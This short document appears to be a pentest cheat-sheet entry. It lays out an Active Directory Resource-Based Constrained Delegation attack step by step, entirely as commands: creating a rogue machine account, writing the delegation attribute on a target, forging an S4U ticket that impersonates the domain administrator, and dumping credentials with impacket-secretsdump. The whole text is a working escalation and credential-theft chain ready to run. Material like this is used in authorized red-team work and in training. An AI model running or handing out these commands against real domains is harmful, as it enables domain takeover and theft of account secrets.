# 1. Create a computer account (if needed)
impacket-addcomputer domain.local/jdoe:'Password123' \
-computer-name 'EVILPC$' \
-computer-pass 'Passw0rd!' \
-dc-ip 10.10.10.1
# 2. Set RBCD — add EVILPC$ to target's msDS-AllowedToActOnBehalfOfOtherIdentity
# (using rbcd.py, ntlmrelayx, or ldap_shell)
python3 rbcd.py domain.local/jdoe:'Password123' -delegate-from 'EVILPC$' -delegate-to 'TARGET$' -dc-ip 10.10.10.1 -action write
# 3. Request service ticket via S4U2Self + S4U2Proxy
impacket-getST domain.local/'EVILPC$':'Passw0rd!' \
-impersonate administrator \
-spn cifs/target.domain.local \
-dc-ip 10.10.10.1
# 4. Use the ticket
export KRB5CCNAME=$(pwd)/administrator@cifs_target.domain.local@DOMAIN.LOCAL.ccache
impacket-secretsdump domain.local/[email protected] -k -no-pass